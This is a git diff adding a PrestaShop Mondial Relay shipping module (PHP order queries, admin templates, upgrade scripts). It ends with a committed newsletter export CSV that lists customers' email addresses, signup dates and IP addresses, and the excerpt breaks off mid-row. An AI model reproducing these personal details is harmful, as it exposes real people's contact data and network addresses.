mr_Name, mrs.`MR_Selected_Num` as MR_Selected_Num, + mrs.`MR_Selected_Pays` as MR_Selected_Pays, mrs.`exp_number` as exp_number, + mr.`col_mode` as mr_ModeCol, mr.`dlv_mode` as mr_ModeLiv, mr.`insurance` as mr_ModeAss, + ROUND(SUM(odt.`product_weight` * odt.`product_quantity`) * '.(int)$weight_coefficient.') AS "order_weight" + FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN `'._DB_PREFIX_.'carrier` ca + ON (ca.`id_carrier` = o.`id_carrier`) + LEFT JOIN `'._DB_PREFIX_.'mr_selected` mrs + ON (mrs.`id_cart` = o.`id_cart`) + LEFT JOIN `'._DB_PREFIX_.'mr_method` mr + ON (mr.`id_mr_method` = mrs.`id_method`) + LEFT JOIN `'._DB_PREFIX_.'customer` c + ON (c.`id_customer` = o.`id_customer`) + LEFT JOIN `'._DB_PREFIX_.'order_detail` odt + ON odt.`id_order` = o.`id_order` + WHERE ( + SELECT moh.`id_order_state` + FROM `'._DB_PREFIX_.'order_history` moh + WHERE moh.`id_order` = o.`id_order` + ORDER BY moh.`date_add` DESC LIMIT 1) = '.(int)($id_order_state).' + AND o.`id_order` = mrs.`id_order`'; + } + + /** + * Get orders details to create Tickets + * + * @static + * @param array $orderIdList + * @param int $filterEntries + * @param int $weight_coefficient + * @return array + */ + public static function getOrders($orderIdList = array(), $filterEntries = MondialRelay::NO_FILTER, $weight_coefficient = 0) + { + $account_shop = MondialRelay::getAccountDetail(); + $id_order_state = $account_shop['MR_ORDER_STATE']; + $sql = MondialRelay::getBaseOrdersSQLQuery($id_order_state, $weight_coefficient); + + if (count($orderIdList)) + { + $sql .= ' AND o.id_order IN ('; + foreach ($orderIdList as $id_order) + $sql .= (int)$id_order.', '; + $sql = rtrim($sql, ', ').')'; + } + switch($filterEntries) + { + case MondialRelay::WITHOUT_HOME_DELIVERY: + $sql .= 'AND mr.mr_ModeLiv != "LD1" AND mr.mr_ModeLiv != "LDS"'; + break; + } + $sql .= ' + GROUP BY o.`id_order` + ORDER BY o.`date_add` ASC'; + return Db::getInstance()->executeS($sql); + } + + /** + * Get Mondialrelay error code + * + * @param $code + * @return string + */ + public function getErrorCodeDetail($code) + { + global $statCode; + + if (isset($statCode[$code])) + return $statCode[$code]; + return $this->l('This error isn\'t referred : ') . $code; + } + + /** + * @param $id_cart + * @return mixed + */ + public function getRelayPointSelected($id_cart) + { + return Db::getInstance()->getRow(' + SELECT s.`MR_selected_num` + FROM `'._DB_PREFIX_.'mr_selected` s + WHERE s.`id_cart` = '.(int)$id_cart); + } + + /** + * @param $id_carrier + * @return mixed + */ + public function isMondialRelayCarrier($id_carrier) + { + return Db::getInstance()->getRow(' + SELECT m.`id_mr_method` + FROM `'._DB_PREFIX_.'mr_method` m + WHERE `id_carrier` = '.(int)$id_carrier); + } + + /** + * + * @param $params + */ + public function hookPaymentTop($params) + { + if ($this->isMondialRelayCarrier($params['cart']->id_carrier) && + !$this->getRelayPointSelected($params['cart']->id)) + $params['cart']->id_carrier = 0; + } + + public function getMethodValueByIdCarier($id_carrier, $key) + { + $content = Db::getInstance()->executeS( + 'SELECT * + FROM `'._DB_PREFIX_.'mr_method` m + WHERE `id_carrier` = '.(int)$id_carrier); + + return isset($content[$key]) ? $content[$key] : ''; + } + + public function checkAJAX() + { + // Avoid loop inclusion + static $is_included = false; + + // TODO : Find a way to use it on front + if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') + if (Tools::getValue('mrtoken') && !$is_included) + { + $is_included = true; + include(dirname(__FILE__).'/ajax.php'); + exit(0); + } + } +} diff --git a/modules/mondialrelay2/page_iso.php b/modules/mondialrelay2/page_iso.php new file mode 100755 index 0000000..3509701 --- /dev/null +++ b/modules/mondialrelay2/page_iso.php @@ -0,0 +1,41 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ +//header('Content-Type: text/html; charset=iso-8859-15'); +function ote_accent($str){ + +$str = str_replace("'", " ", $str); + +$str = utf8_decode($str); + +$ch = strtr($str, + + '����������������������������������������������������', + + 'AAAAAACEEEEIIIIOOOOOUUUUYaaaaaaceeeeiiiioooooouuuuyy'); + +return utf8_encode($ch); + +} diff --git a/modules/mondialrelay2/sql/index.php b/modules/mondialrelay2/sql/index.php new file mode 100755 index 0000000..319128b --- /dev/null +++ b/modules/mondialrelay2/sql/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mondialrelay2/tpl/admintab/generate_tickets.tpl b/modules/mondialrelay2/tpl/admintab/generate_tickets.tpl new file mode 100755 index 0000000..eebfbb4 --- /dev/null +++ b/modules/mondialrelay2/tpl/admintab/generate_tickets.tpl @@ -0,0 +1,123 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $MR_errors_type.error|count} +
        + {l s='Please kindly correct the following errors on' mod='mondialrelay'} + + {l s='the contact page:' mod='mondialrelay'} + +
          + {foreach from=$MR_errors_type.error key=name item=message} +
        • {$name}: {$message}
        • + {/foreach} +
        +
        +{/if} +{if $MR_errors_type.warn|count} +
        + {l s="Please take a look to this following warning, maybe the ticket won't be generated"} +
          + {foreach from=$MR_errors_type.warn key=name item=message} +
        • {$name}: {$message}
        • + {/foreach} +
        +
        +{/if} + +

        +{l s='All orders which have the state' mod='mondialrelay'} "{$MR_order_state.name}" {l s='will be available for creation of labels' mod='mondialrelay'} +

        + +
        + +
        + +
        + {l s='Orders list' mod='mondialrelay'} +
        + + + + + + + + + + + + + + + {foreach from=$MR_orders key=case_num item=order} + + + + + + + + + + + + + + + + + + + + + + {/foreach} +
        {l s='Order ID' mod='mondialrelay'}{l s='Customer' mod='mondialrelay'}{l s='Total price' mod='mondialrelay'}{l s='Total shipping costs' mod='mondialrelay'}{l s='Date' mod='mondialrelay'}{l s='Insert weight (grams)' mod='mondialrelay'}{l s='MR Number' mod='mondialrelay'}{l s='MR Country' mod='mondialrelay'}{l s='Exp Number' mod='mondialrelay'}{l s='Detail' mod='mondialrelay'}
        {$order.id_order}{$order.customer}{$order.display_total_price}{$order.display_shipping_price}{$order.display_date} + + {$order.MR_Selected_Num}{$order.MR_Selected_Pays}{$order.exp_number} + + {l s='View' mod='mondialrelay'} + +
        + {if !$MR_orders|count} +

        {l s='No orders with this state.' mod='mondialrelay'}

        + {else} +
        +
        + +
        +
        +
        + {/if} + +
        + +
        \ No newline at end of file diff --git a/modules/mondialrelay2/tpl/admintab/history.tpl b/modules/mondialrelay2/tpl/admintab/history.tpl new file mode 100755 index 0000000..4680bc8 --- /dev/null +++ b/modules/mondialrelay2/tpl/admintab/history.tpl @@ -0,0 +1,74 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        + {l s='History of labels creation' mod='mondialrelay'} +
        +
        + + + + + + + + + + {foreach from=$MR_histories key=num_history item=history} + + + + + + + + {/foreach} + +
        {l s='Order ID' mod='mondialrelay'}{l s='Exp num' mod='mondialrelay'}{l s='Print stick A4' mod='mondialrelay'}{l s='Print stick A5' mod='mondialrelay'}
        + + {$history.order} + {$history.exp} + + + + +
        + {if !$MR_histories|count} +
        +

        {l s='No histories available' mod='mondialrelay'}

        +
        + {else} +
        + +
        + +
        + {/if} + +
        +
        + +
        \ No newline at end of file diff --git a/modules/mondialrelay2/tpl/admintab/settings.tpl b/modules/mondialrelay2/tpl/admintab/settings.tpl new file mode 100755 index 0000000..48ff7e0 --- /dev/null +++ b/modules/mondialrelay2/tpl/admintab/settings.tpl @@ -0,0 +1,60 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{include file="$MR_local_path/tpl/post_action.tpl"} + +{* +** Basic Settings +*} +
        +
        +
        + {l s='Admin Tab Settings' mod='mondialrelay'} + +
        + +

        + {l s='Choose the order state for labels.' mod='mondialrelay'} +

        +
        + +
        +
        + +
        +
        + +
        +
        + +
        \ No newline at end of file diff --git a/modules/mondialrelay2/tpl/bo-header.tpl b/modules/mondialrelay2/tpl/bo-header.tpl new file mode 100755 index 0000000..f8168d5 --- /dev/null +++ b/modules/mondialrelay2/tpl/bo-header.tpl @@ -0,0 +1,38 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + +{if $MR_overload_current_jquery} + {include file="$MR_local_path/tpl/jquery-overload.tpl"} +{/if} + + + + diff --git a/modules/mondialrelay2/tpl/checkout_process.tpl b/modules/mondialrelay2/tpl/checkout_process.tpl new file mode 100755 index 0000000..3211ed0 --- /dev/null +++ b/modules/mondialrelay2/tpl/checkout_process.tpl @@ -0,0 +1,40 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + +{if $MR_Data.PS_VERSION >= '1.5' && !$MR_Data.carrier} + {l s='Mondial relay can\'t fetch any replay point due to prestashop error' mod='mondialrelay'} +{/if} \ No newline at end of file diff --git a/modules/mondialrelay2/tpl/configuration.tpl b/modules/mondialrelay2/tpl/configuration.tpl new file mode 100755 index 0000000..81346bb --- /dev/null +++ b/modules/mondialrelay2/tpl/configuration.tpl @@ -0,0 +1,283 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +

        {l s='Mondial Relay Configuration' mod='mondialrelay'}

        + +{include file="$MR_local_path/tpl/post_action.tpl"} + +{* +** Menu bar +*} + + +
        +{l s='Please set your Mondial Relay account settings'} +
        + +{if $MR_upgrade_detail|count} +
        +
          + {foreach from=$MR_upgrade_detail item=message} +
        • {$message}
        • + {/foreach} +
        +
        +{/if} + +{* +** General information +*} +
        +
        + + {l s='Try to turn off the cache and put the force compilation to on' mod='mondialrelay'} + + {l s='if you have any problems with the module after an update' mod='mondialrelay'} +
        + +
        + {l s='Have a look to the following HOW-TO to help you to configure the Mondial Relay module' mod='mondialrelay'} + + + + + +
        + +
        + +
        + + {l s='To create a Mondial Relay carrier' mod='mondialrelay'} + + - {l s='Enter and save your Mondial Relay account settings' mod='mondialrelay'}
        + - {l s='Create a Carrier using the Shipping button' mod='mondialrelay'}
        + - {l s='Define a price for your carrier on' mod='mondialrelay'} + {l s='The Carrier page' mod='mondialrelay'}
        + - {l s='To generate labels, you must have a valid and registered address of your store on your' mod='mondialrelay'} + {l s='contact page' mod='mondialrelay'}
        +
        +
        + +{* +** Account settings form +*} +
        +
        +
        + {l s='Mondial Relay Account Settings' mod='mondialrelay'} +
        + {l s='These parameters are provided by Mondial Relay once you subscribed to their service' mod='mondialrelay'} +
        +
          +
        • + + + * +
        • +
        • + + + * +
        • +
        • + + + * +
        • +
        • + + + * +
        • +
        • + + + * + {l s='grammes = 1 ' mod='mondialrelay'}{$MR_unit_weight_used}
          {l s='The default billing method will be set according to the total weight.' mod='mondialrelay'}
          +
        • +
        • + +
        • +
        +
        *{l s='Required fields' mod='mondialrelay'}
        +
        + +
        +
        + +{if $MR_account_set} + +{* + ** Advanced settings + *} +
        +
        + + {l s='Advanced Settings' mod='mondialrelay'} + +
        +

        {l s='URL Cron Task:' mod='mondialrelay'} {$MR_CRON_URL}

        +
        +
        +
        + +{* + ** Add new shipping form + *} +
        +
        +
        + {l s='Add a Shipping Method' mod='mondialrelay'} +
          +
        • + + + * +
        • + +
        • + + + * +
        • + +
        • + + + * +
        • + +
        • + + + * +
        • + +
        • + + + * +
        • + +
        • + +
        • +
        +
        *{l s='Required fields' mod='mondialrelay'}
        +
        + +
        + +
        + +{* + ** Shipping List + *} +
        + {l s='Shipping Method\'s list' mod='mondialrelay'} +
          + {if $MR_carriers_list|count == 0} +
        • {l s='No shipping methods created' mod='mondialrelay'}
        • + {else} + {foreach from=$MR_carriers_list key=num_carrier item=carrier} +
        • +
          + + Delete + {$carrier.name} ({$carrier.col_mode}-{$carrier.dlv_mode} - {$carrier.insurance} : {$carrier.country_list}) + + {l s='Config Shipping' mod='mondialrelay'} + +
          +
        • + {/foreach} + {/if} +
        +
        +
        +{/if} diff --git a/modules/mondialrelay2/tpl/header.tpl b/modules/mondialrelay2/tpl/header.tpl new file mode 100755 index 0000000..46788b3 --- /dev/null +++ b/modules/mondialrelay2/tpl/header.tpl @@ -0,0 +1,48 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{include file="$MR_local_path/tpl/jquery-overload.tpl"} + + + + + + + diff --git a/modules/mondialrelay2/tpl/index.php b/modules/mondialrelay2/tpl/index.php new file mode 100755 index 0000000..319128b --- /dev/null +++ b/modules/mondialrelay2/tpl/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mondialrelay2/tpl/jquery-overload.tpl b/modules/mondialrelay2/tpl/jquery-overload.tpl new file mode 100755 index 0000000..8beeca0 --- /dev/null +++ b/modules/mondialrelay2/tpl/jquery-overload.tpl @@ -0,0 +1,36 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $MR_overload_current_jquery} + + +{else} + + +{/if} diff --git a/modules/mondialrelay2/tpl/order_detail.tpl b/modules/mondialrelay2/tpl/order_detail.tpl new file mode 100755 index 0000000..fb46c54 --- /dev/null +++ b/modules/mondialrelay2/tpl/order_detail.tpl @@ -0,0 +1,31 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $mr_addr} +

        {l s='Delivery to' mod='mondialrelay'} {$mr_addr}

        +{/if} +{if $mr_url} + {l s='Follow my package on Mondial Relay website' mod='mondialrelay'}. +{/if} diff --git a/modules/mondialrelay2/tpl/post_action.tpl b/modules/mondialrelay2/tpl/post_action.tpl new file mode 100755 index 0000000..148a569 --- /dev/null +++ b/modules/mondialrelay2/tpl/post_action.tpl @@ -0,0 +1,39 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $MR_error_list|count} +
        + {$MR_error_list|count} {l s='error(s)'} +
          + {foreach from=$MR_error_list key=error_num item=error_message} +
        • {$error_message}
        • + {/foreach} +
        +
        + {elseif $MR_form_action.type|strlen != 0} +
        + {$MR_form_action.message_success} +
        +{/if} \ No newline at end of file diff --git a/modules/mondialrelay2/upgrade/index.php b/modules/mondialrelay2/upgrade/index.php new file mode 100755 index 0000000..319128b --- /dev/null +++ b/modules/mondialrelay2/upgrade/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mondialrelay2/upgrade/install-1.8.0.php b/modules/mondialrelay2/upgrade/install-1.8.0.php new file mode 100755 index 0000000..f773ebc --- /dev/null +++ b/modules/mondialrelay2/upgrade/install-1.8.0.php @@ -0,0 +1,105 @@ +upgrade_detail[$upgrade_version] = array(); + + // Add new table to handle multi-shop for a carrier + $query = ' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'mr_method_shop` ( + `id_mr_method_shop` int(10) unsigned NOT NULL auto_increment, + `id_mr_method` int(10) unsigned NOT NULL, + `id_shop` int(10) unsigned NOT NULL, + PRIMARY KEY (`id_mr_method_shop`) + ) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;'; + + if (!Db::getInstance()->execute($query)) + $object->upgrade_detail[$upgrade_version][] = $object->l('Can\'t create method shop table'); + + // Refacto name + $query = ' + ALTER TABLE `'._DB_PREFIX_.'mr_method` CHANGE `id_mr_method` `id_mr_method` INT( 10 ) UNSIGNED NOT NULL AUTO_INCREMENT , + CHANGE `mr_Name` `name` VARCHAR( 255 ) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL , + CHANGE `mr_Pays_list` `country_list` VARCHAR( 1000 ) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL , + CHANGE `mr_ModeCol` `col_mode` VARCHAR( 3 ) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL , + CHANGE `mr_ModeLiv` `dlv_mode` VARCHAR( 3 ) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL , + CHANGE `mr_ModeAss` `insurance` VARCHAR( 3 ) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT \'0\', + CHANGE `id_carrier` `id_carrier` INT( 10 ) NOT NULL'; + + if (!Db::getInstance()->execute($query)) + $object->upgrade_detail[$upgrade_version][] = $object->l('Can\'t change name of the method table'); + + $query = 'RENAME TABLE `'._DB_PREFIX_.'mr_historique` TO `'._DB_PREFIX_.'mr_history`'; + + if (!Db::getInstance()->execute($query)) + $object->upgrade_detail[$upgrade_version][] = $object->l('Can\'t rename the history table'); + + $object->account_shop['MR_ENSEIGNE_WEBSERVICE'] = Configuration::get('MR_ENSEIGNE_WEBSERVICE'); + $object->account_shop['MR_CODE_MARQUE'] = Configuration::get('MR_CODE_MARQUE'); + $object->account_shop['MR_KEY_WEBSERVICE'] = Configuration::get('MR_KEY_WEBSERVICE'); + $object->account_shop['MR_LANGUAGE'] = Configuration::get('MR_LANGUAGE'); + $object->account_shop['MR_WEIGHT_COEFFICIENT'] = Configuration::get('MR_WEIGHT_COEF'); + $object->account_shop['MR_ORDER_STATE'] = Configuration::get('MONDIAL_RELAY_ORDER_STATE'); + $object->updateAccountShop(); + + Configuration::deleteByName('MONDIAL_RELAY_INSTALL_UPDATE'); + Configuration::deleteByName('MONDIAL_RELAY_ORDER_STATE'); + Configuration::deleteByName('MR_ENSEIGNE_WEBSERVICE'); + Configuration::deleteByName('MR_CODE_MARQUE'); + Configuration::deleteByName('MR_KEY_WEBSERVICE'); + Configuration::deleteByName('MR_WEIGHT_COEF'); + Configuration::deleteByName('MR_LANGUAGE'); + Configuration::deleteByName('MONDIAL_RELAY_1_4'); + Configuration::deleteByName('MONDIAL_RELAY_INSTALL_UPDATE_1'); + + Configuration::updateValue('MONDIAL_RELAY', $upgrade_version); + + $methods = Db::getInstance()->executeS('SELECT * FROM `'._DB_PREFIX_.'mr_method`'); + if (count($methods)) + { + $query = ' + INSERT INTO `'._DB_PREFIX_.'mr_method_shop` + (id_mr_method, id_shop) VALUES '; + + foreach ($methods as $method) + $query .= '('.(int)$method['id_mr_method'].', '.(int)$object->account_shop['id_shop'].'),'; + $query = trim($query, ','); + if (!Db::getInstance()->execute($query)) + $object->upgrade_detail[$upgrade_version][] = $object->l('Can\'t update table mr_method_shop'); + + } + + if (!empty($object->installed_version)) + { + if ($object->installed_version < '1.4') + Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'carrier` + SET + `shipping_external` = 0, + `need_range` = 1, + `external_module_name` = "mondialrelay", + `shipping_method` = 1 + WHERE `id_carrier` + IN (SELECT `id_carrier` + FROM `'._DB_PREFIX_.'mr_method`)'); + } + + // Try to register the new hook since 1.7 + if (!$object->isRegisteredInHook('newOrder')) + $object->registerHook('newOrder'); + if (!$object->isRegisteredInHook('BackOfficeHeader')) + $object->registerHook('BackOfficeHeader'); + + if (!$object->isRegisteredInHook('header')) + $object->registerHook('header'); + + return (bool)count($object->upgrade_detail[$upgrade_version]); +} \ No newline at end of file diff --git a/modules/mondialrelay2/upgrade/install-1.8.3.php b/modules/mondialrelay2/upgrade/install-1.8.3.php new file mode 100755 index 0000000..fa360d6 --- /dev/null +++ b/modules/mondialrelay2/upgrade/install-1.8.3.php @@ -0,0 +1,18 @@ +upgrade_detail[$upgrade_version] = array(); + + if (!Db::getInstance()->execute('ALTER TABLE `'._DB_PREFIX_.'mr_method` ADD `is_deleted` INT NOT NULL')) + $object->upgrade_detail[$upgrade_version][] = $object->l('Can\'t add new field in methodtable'); + + Configuration::updateValue('MONDIAL_RELAY', $upgrade_version); + return (bool)count($object->upgrade_detail[$upgrade_version]); +} \ No newline at end of file diff --git a/modules/newsletter/blockNewsletter_export_15549138721246765750.csv b/modules/newsletter/blockNewsletter_export_15549138721246765750.csv new file mode 100755 index 0000000..219ab4b --- /dev/null +++ b/modules/newsletter/blockNewsletter_export_15549138721246765750.csv @@ -0,0 +1,15425 @@ +id_customer;email;newsletter_date_add;ip_address;http_referer +4;deboxia_78@hotmail.fr;2013-06-17 14:52:44;82.226.126.15 +11;eric.b.coste@gmail.com;2013-08-08 15:11:26;92.150.33.165 +12;pradigue@lagoon.nc;2013-08-09 08:58:31;175.158.158.215 +13;maud-laissue-boardman@hotmail.fr;2013-08-09 09:04:27;82.255.140.147 +14;ellen.danzo@gmail.com;2013-08-09 09:41:33;194.8.148.15 +16;saveria-coste@garancia-beauty.com;2013-08-09 19:50:23;92.153.199.17 +18;sssm@ùêe.fr;2013-08-09 20:20:06;80.14.226.55 +19;sssm@ùêe.fr;2013-08-09 20:20:08;80.14.226.55 +20;claudine.hunault@virginbox.fr;2013-08-10 00:28:47;109.29.39.51 +21;find.laura@hotmail.com;2013-08-10 10:55:48;83.202.6.207 +22;nath.parmentier@skynet.be;2013-08-11 23:24:11;81.244.224.128 +26;lilyrose.fleurs@gmail.com;2013-08-14 00:04:19;80.9.104.66 +27;noelle.goulin@laposte.net;2013-08-14 12:53:58;82.244.106.170 +28;mariejose.moinier@neuf.fr;2013-08-14 17:55:24;86.74.157.51 +29;nathalie.lecouteur@sfr.fr;2013-08-15 08:34:51;109.15.19.146 +32;annecolliard@yahoo.fr;2013-08-16 14:57:53;178.193.144.210 +34;Mongreniercoupdecoeur@gmail.com;2013-08-24 09:20:45;78.116.188.9 +36;pierre.delaville88@gmail.com;2013-09-05 16:09:25;80.14.226.55 +37;pierre.delaville@free.fr;2013-09-05 16:16:32;80.14.226.55 +39;francisca@correiafamily.net;2013-09-08 23:30:36;78.224.49.125 +41;vanessa.dupret@akeonet.com;2013-09-09 16:15:00;77.201.234.17 +42;cynthiacoillot@hotmail.com;2013-09-09 